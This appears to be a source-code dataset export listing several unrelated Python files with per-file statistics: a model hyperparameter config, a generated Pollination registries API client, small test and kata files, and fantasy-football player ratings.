encode_cursor_type='value',
image_size_small=128,
image_size_large=256,
cropping_type='v3', # ['v2', 'v3']
pasting_type='v3', # ['v2', 'v3']
pasting_diff=True,
concat_win_size=True,
encoder_type='conv13_c3',
# ['conv10', 'conv10_deep', 'conv13', 'conv10_c3', 'conv10_deep_c3', 'conv13_c3']
# ['conv13_c3_attn']
# ['combine33', 'combine43', 'combine53', 'combineFC']
outside_loss_weight=10.0,
win_size_outside_loss_weight=10.0,
resize_method='AREA', # ['BILINEAR', 'NEAREST_NEIGHBOR', 'BICUBIC', 'AREA']
concat_cursor=True,
use_softargmax=True,
soft_beta=10, # value for the soft argmax
raster_loss_weight=1.0,
dec_rnn_size=256, # Size of decoder.
dec_model='hyper', # Decoder: lstm, layer_norm or hyper.
# z_size=128, # Size of latent vector z. Recommend 32, 64 or 128.
bin_gt=True,
stop_accu_grad=True,
random_cursor=True,
cursor_type='next',
raster_size=128,
pix_drop_kp=1.0, # Dropout keep rate
add_coordconv=True,
position_format='abs',
raster_loss_base_type='perceptual', # [l1, mse, perceptual]
grad_clip=1.0, # Gradient clipping. Recommend leaving at 1.0.
learning_rate=0.0001, # Learning rate.
decay_rate=0.9999, # Learning rate decay per minibatch.
decay_power=0.9,
min_learning_rate=0.000001, # Minimum learning rate.
use_recurrent_dropout=True, # Dropout with memory loss. Recommended
recurrent_dropout_prob=0.90, # Probability of recurrent dropout keep.
use_input_dropout=False, # Input dropout. Recommend leaving False.
input_dropout_prob=0.90, # Probability of input dropout keep.
use_output_dropout=False, # Output dropout. Recommend leaving False.
output_dropout_prob=0.90, # Probability of output dropout keep.
model_mode='train' # ['train', 'eval', 'sample']
)
return hparams
| 31.353801 | 89 | 0.625198 | 1,359 | 10,723 | 4.629139 | 0.177336 | 0.028612 | 0.017167 | 0.020029 | 0.864727 | 0.854236 | 0.837705 | 0.823716 | 0.810682 | 0.810682 | 0 | 0.059357 | 0.248997 | 10,723 | 341 | 90 | 31.445748 | 0.721843 | 0.285648 | 0 | 0.762931 | 0 | 0 | 0.118017 | 0.024246 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012931 | false | 0 | 0.00431 | 0 | 0.030172 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
66a8c4243ee918fe28e4971d1abf958c5db34c55 | 34,886 | py | Python | pollination_sdk/api/registries_api.py | pollination/python-sdk | 599e8dbfc6e547c5e18aa903b27c70d7ffef84e5 | [
"RSA-MD"
] | 2 | 2020-01-30T23:28:59.000Z | 2020-05-06T16:43:47.000Z | pollination_sdk/api/registries_api.py | pollination/python-sdk | 599e8dbfc6e547c5e18aa903b27c70d7ffef84e5 | [
"RSA-MD"
] | 1 | 2020-10-02T18:00:25.000Z | 2020-10-02T18:00:25.000Z | pollination_sdk/api/registries_api.py | pollination/python-sdk | 599e8dbfc6e547c5e18aa903b27c70d7ffef84e5 | [
"RSA-MD"
] | null | null | null | # coding: utf-8
"""
pollination-server
Pollination Server OpenAPI Definition # noqa: E501
The version of the OpenAPI document: 0.16.0
Contact: info@pollination.cloud
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from pollination_sdk.api_client import ApiClient
from pollination_sdk.exceptions import ( # noqa: F401
ApiTypeError,
ApiValueError
)
class RegistriesApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def get_package(self, owner, type, name, digest, **kwargs): # noqa: E501
"""Get Package # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_package(owner, type, name, digest, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param type: (required)
:type type: str
:param name: (required)
:type name: str
:param digest: (required)
:type digest: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: object
"""
kwargs['_return_http_data_only'] = True
return self.get_package_with_http_info(owner, type, name, digest, **kwargs) # noqa: E501
def get_package_with_http_info(self, owner, type, name, digest, **kwargs): # noqa: E501
"""Get Package # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_package_with_http_info(owner, type, name, digest, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param type: (required)
:type type: str
:param name: (required)
:type name: str
:param digest: (required)
:type digest: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(object, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'owner',
'type',
'name',
'digest'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method get_package" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'owner' is set
if self.api_client.client_side_validation and ('owner' not in local_var_params or # noqa: E501
local_var_params['owner'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `owner` when calling `get_package`") # noqa: E501
# verify the required parameter 'type' is set
if self.api_client.client_side_validation and ('type' not in local_var_params or # noqa: E501
local_var_params['type'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `type` when calling `get_package`") # noqa: E501
# verify the required parameter 'name' is set
if self.api_client.client_side_validation and ('name' not in local_var_params or # noqa: E501
local_var_params['name'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `name` when calling `get_package`") # noqa: E501
# verify the required parameter 'digest' is set
if self.api_client.client_side_validation and ('digest' not in local_var_params or # noqa: E501
local_var_params['digest'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `digest` when calling `get_package`") # noqa: E501
collection_formats = {}
path_params = {}
if 'owner' in local_var_params:
path_params['owner'] = local_var_params['owner'] # noqa: E501
if 'type' in local_var_params:
path_params['type'] = local_var_params['type'] # noqa: E501
if 'name' in local_var_params:
path_params['name'] = local_var_params['name'] # noqa: E501
if 'digest' in local_var_params:
path_params['digest'] = local_var_params['digest'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json', 'application/x-tar']) # noqa: E501
# Authentication setting
auth_settings = ['APIKeyAuth', 'JWTAuth'] # noqa: E501
return self.api_client.call_api(
'/registries/{owner}/{type}/{name}/{digest}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='object', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def get_package_json(self, owner, type, name, digest, **kwargs): # noqa: E501
"""Get Package in JSON format # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_package_json(owner, type, name, digest, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param type: (required)
:type type: str
:param name: (required)
:type name: str
:param digest: (required)
:type digest: str
:param baked:
:type baked: bool
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: AnyOfRecipePluginBakedRecipe
"""
kwargs['_return_http_data_only'] = True
return self.get_package_json_with_http_info(owner, type, name, digest, **kwargs) # noqa: E501
def get_package_json_with_http_info(self, owner, type, name, digest, **kwargs): # noqa: E501
"""Get Package in JSON format # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_package_json_with_http_info(owner, type, name, digest, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param type: (required)
:type type: str
:param name: (required)
:type name: str
:param digest: (required)
:type digest: str
:param baked:
:type baked: bool
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(AnyOfRecipePluginBakedRecipe, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'owner',
'type',
'name',
'digest',
'baked'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method get_package_json" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'owner' is set
if self.api_client.client_side_validation and ('owner' not in local_var_params or # noqa: E501
local_var_params['owner'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `owner` when calling `get_package_json`") # noqa: E501
# verify the required parameter 'type' is set
if self.api_client.client_side_validation and ('type' not in local_var_params or # noqa: E501
local_var_params['type'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `type` when calling `get_package_json`") # noqa: E501
# verify the required parameter 'name' is set
if self.api_client.client_side_validation and ('name' not in local_var_params or # noqa: E501
local_var_params['name'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `name` when calling `get_package_json`") # noqa: E501
# verify the required parameter 'digest' is set
if self.api_client.client_side_validation and ('digest' not in local_var_params or # noqa: E501
local_var_params['digest'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `digest` when calling `get_package_json`") # noqa: E501
collection_formats = {}
path_params = {}
if 'owner' in local_var_params:
path_params['owner'] = local_var_params['owner'] # noqa: E501
if 'type' in local_var_params:
path_params['type'] = local_var_params['type'] # noqa: E501
if 'name' in local_var_params:
path_params['name'] = local_var_params['name'] # noqa: E501
if 'digest' in local_var_params:
path_params['digest'] = local_var_params['digest'] # noqa: E501
query_params = []
if 'baked' in local_var_params and local_var_params['baked'] is not None: # noqa: E501
query_params.append(('baked', local_var_params['baked'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['APIKeyAuth', 'JWTAuth'] # noqa: E501
return self.api_client.call_api(
'/registries/{owner}/{type}/{name}/{digest}/json', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AnyOfRecipePluginBakedRecipe', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def get_registry_index(self, owner, **kwargs): # noqa: E501
"""Get Registry Index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_registry_index(owner, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: RepositoryIndex
"""
kwargs['_return_http_data_only'] = True
return self.get_registry_index_with_http_info(owner, **kwargs) # noqa: E501
def get_registry_index_with_http_info(self, owner, **kwargs): # noqa: E501
"""Get Registry Index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_registry_index_with_http_info(owner, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(RepositoryIndex, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'owner'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method get_registry_index" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'owner' is set
if self.api_client.client_side_validation and ('owner' not in local_var_params or # noqa: E501
local_var_params['owner'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `owner` when calling `get_registry_index`") # noqa: E501
collection_formats = {}
path_params = {}
if 'owner' in local_var_params:
path_params['owner'] = local_var_params['owner'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['APIKeyAuth', 'JWTAuth'] # noqa: E501
return self.api_client.call_api(
'/registries/{owner}/index.json', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RepositoryIndex', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def post_plugin(self, owner, package, **kwargs): # noqa: E501
"""Push a plugin to the registry # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_plugin(owner, package, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param package: (required)
:type package: file
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: object
"""
kwargs['_return_http_data_only'] = True
return self.post_plugin_with_http_info(owner, package, **kwargs) # noqa: E501
def post_plugin_with_http_info(self, owner, package, **kwargs): # noqa: E501
"""Push a plugin to the registry # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_plugin_with_http_info(owner, package, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param package: (required)
:type package: file
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(object, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'owner',
'package'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method post_plugin" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'owner' is set
if self.api_client.client_side_validation and ('owner' not in local_var_params or # noqa: E501
local_var_params['owner'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `owner` when calling `post_plugin`") # noqa: E501
# verify the required parameter 'package' is set
if self.api_client.client_side_validation and ('package' not in local_var_params or # noqa: E501
local_var_params['package'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `package` when calling `post_plugin`") # noqa: E501
collection_formats = {}
path_params = {}
if 'owner' in local_var_params:
path_params['owner'] = local_var_params['owner'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'package' in local_var_params:
local_var_files['package'] = local_var_params['package'] # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['APIKeyAuth', 'JWTAuth'] # noqa: E501
return self.api_client.call_api(
'/registries/{owner}/plugins', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='object', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def post_recipe(self, owner, package, **kwargs): # noqa: E501
"""Push an Recipe to the registry # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_recipe(owner, package, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param package: (required)
:type package: file
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: object
"""
kwargs['_return_http_data_only'] = True
return self.post_recipe_with_http_info(owner, package, **kwargs) # noqa: E501
def post_recipe_with_http_info(self, owner, package, **kwargs): # noqa: E501
"""Push an Recipe to the registry # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_recipe_with_http_info(owner, package, async_req=True)
>>> result = thread.get()
:param owner: (required)
:type owner: str
:param package: (required)
:type package: file
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(object, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'owner',
'package'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method post_recipe" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'owner' is set
if self.api_client.client_side_validation and ('owner' not in local_var_params or # noqa: E501
local_var_params['owner'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `owner` when calling `post_recipe`") # noqa: E501
# verify the required parameter 'package' is set
if self.api_client.client_side_validation and ('package' not in local_var_params or # noqa: E501
local_var_params['package'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `package` when calling `post_recipe`") # noqa: E501
collection_formats = {}
path_params = {}
if 'owner' in local_var_params:
path_params['owner'] = local_var_params['owner'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'package' in local_var_params:
local_var_files['package'] = local_var_params['package'] # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = ['APIKeyAuth', 'JWTAuth'] # noqa: E501
return self.api_client.call_api(
'/registries/{owner}/recipes', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='object', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
| 44.327827 | 121 | 0.583501 | 3,843 | 34,886 | 5.063492 | 0.052303 | 0.046046 | 0.071946 | 0.027751 | 0.95231 | 0.950152 | 0.947274 | 0.944293 | 0.944293 | 0.942186 | 0 | 0.01455 | 0.340022 | 34,886 | 786 | 122 | 44.384224 | 0.830612 | 0.445766 | 0 | 0.755747 | 1 | 0 | 0.182266 | 0.031495 | 0 | 0 | 0 | 0 | 0 | 1 | 0.031609 | false | 0 | 0.014368 | 0 | 0.077586 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
dd1b7f8603800e510a3690b2e3cecd339f8d8110 | 42 | py | Python | examples/phobos/tests/test_std_digest.py | kinke/autowrap | 2f042df3f292aa39b1da0b9607fbe3424f56ff4a | [
"BSD-3-Clause"
] | 47 | 2019-07-16T10:38:07.000Z | 2022-03-30T16:34:24.000Z | examples/phobos/tests/test_std_digest.py | kinke/autowrap | 2f042df3f292aa39b1da0b9607fbe3424f56ff4a | [
"BSD-3-Clause"
] | 199 | 2019-06-17T23:24:40.000Z | 2021-06-16T16:41:36.000Z | examples/phobos/tests/test_std_digest.py | kinke/autowrap | 2f042df3f292aa39b1da0b9607fbe3424f56ff4a | [
"BSD-3-Clause"
] | 7 | 2019-09-13T18:03:49.000Z | 2022-01-17T03:53:00.000Z | def test_import():
import std_digest
| 10.5 | 21 | 0.714286 | 6 | 42 | 4.666667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.214286 | 42 | 3 | 22 | 14 | 0.848485 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 1 | 0 | 1.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
dd544587fd2820137401584daa1fde3bc94f6af2 | 189 | py | Python | meta_agents/baselines/__init__.py | zhanpenghe/meta_agents | b3b4df70bab1ebe621d48eebb4c886b85c1d8323 | [
"MIT"
] | 3 | 2020-09-26T16:17:52.000Z | 2021-04-23T08:56:04.000Z | meta_agents/baselines/__init__.py | zhanpenghe/meta_agents | b3b4df70bab1ebe621d48eebb4c886b85c1d8323 | [
"MIT"
] | 1 | 2019-09-03T19:57:40.000Z | 2019-09-03T19:57:40.000Z | meta_agents/baselines/__init__.py | zhanpenghe/meta_agents | b3b4df70bab1ebe621d48eebb4c886b85c1d8323 | [
"MIT"
] | 1 | 2020-12-09T03:06:48.000Z | 2020-12-09T03:06:48.000Z | from meta_agents.baselines.base import Baseline
from meta_agents.baselines.linear_baseline import LinearFeatureBaseline
from meta_agents.baselines.linear_baseline import LinearTimeBaseline
| 47.25 | 71 | 0.904762 | 23 | 189 | 7.217391 | 0.434783 | 0.144578 | 0.253012 | 0.415663 | 0.518072 | 0.518072 | 0.518072 | 0 | 0 | 0 | 0 | 0 | 0.063492 | 189 | 3 | 72 | 63 | 0.937853 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
dd66a54333d8bb43c59d503bfd475cd1f3c9e821 | 158 | py | Python | katas/kyu_7/genetic_algorithm_series_crossover.py | the-zebulan/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 40 | 2016-03-09T12:26:20.000Z | 2022-03-23T08:44:51.000Z | katas/kyu_7/genetic_algorithm_series_crossover.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | null | null | null | katas/kyu_7/genetic_algorithm_series_crossover.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 36 | 2016-11-07T19:59:58.000Z | 2022-03-31T11:18:27.000Z | def crossover(chromosome1, chromosome2, index):
return [chromosome1[:index] + chromosome2[index:],
chromosome2[:index] + chromosome1[index:]]
| 39.5 | 54 | 0.689873 | 14 | 158 | 7.785714 | 0.428571 | 0.440367 | 0.385321 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045802 | 0.170886 | 158 | 3 | 55 | 52.666667 | 0.78626 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
06f1d0c5b21955b7629ae3ec7bcadfdedd402060 | 97,530 | py | Python | players/data/data_20160802.py | swmerko/fantacalcio-asta-helper | ed6e0acede990c7b4efc7b592f594eace5fc3c7f | [
"MIT"
] | null | null | null | players/data/data_20160802.py | swmerko/fantacalcio-asta-helper | ed6e0acede990c7b4efc7b592f594eace5fc3c7f | [
"MIT"
] | null | null | null | players/data/data_20160802.py | swmerko/fantacalcio-asta-helper | ed6e0acede990c7b4efc7b592f594eace5fc3c7f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
DATA = [
{
"team": "ROM",
"name": "Alisson ",
"health": 9,
"player_regularity": 6,
"votes": 7,
"bonus": 7,
"no_malus": 8,
"advice": 7,
"notes": "solo coppia",
"role": "POR"
},
{
"team": "CAG",
"name": "Storari ",
"health": 8,
"player_regularity": 9,
"votes": 7,
"bonus": 8,
"no_malus": 6,
"advice": 6,
"notes": "",
"role": "POR"
},
{
"team": "ATA",
"name": "Berisha ",
"health": 9,
"player_regularity": 6,
"votes": 6,
"bonus": 6,
"no_malus": 6,
"advice": 5,
"notes": "solo coppia",
"role": "POR"
},
{
"team": "PES",
"name": "Bizzarri ",
"health": 8,
"player_regularity": 8,
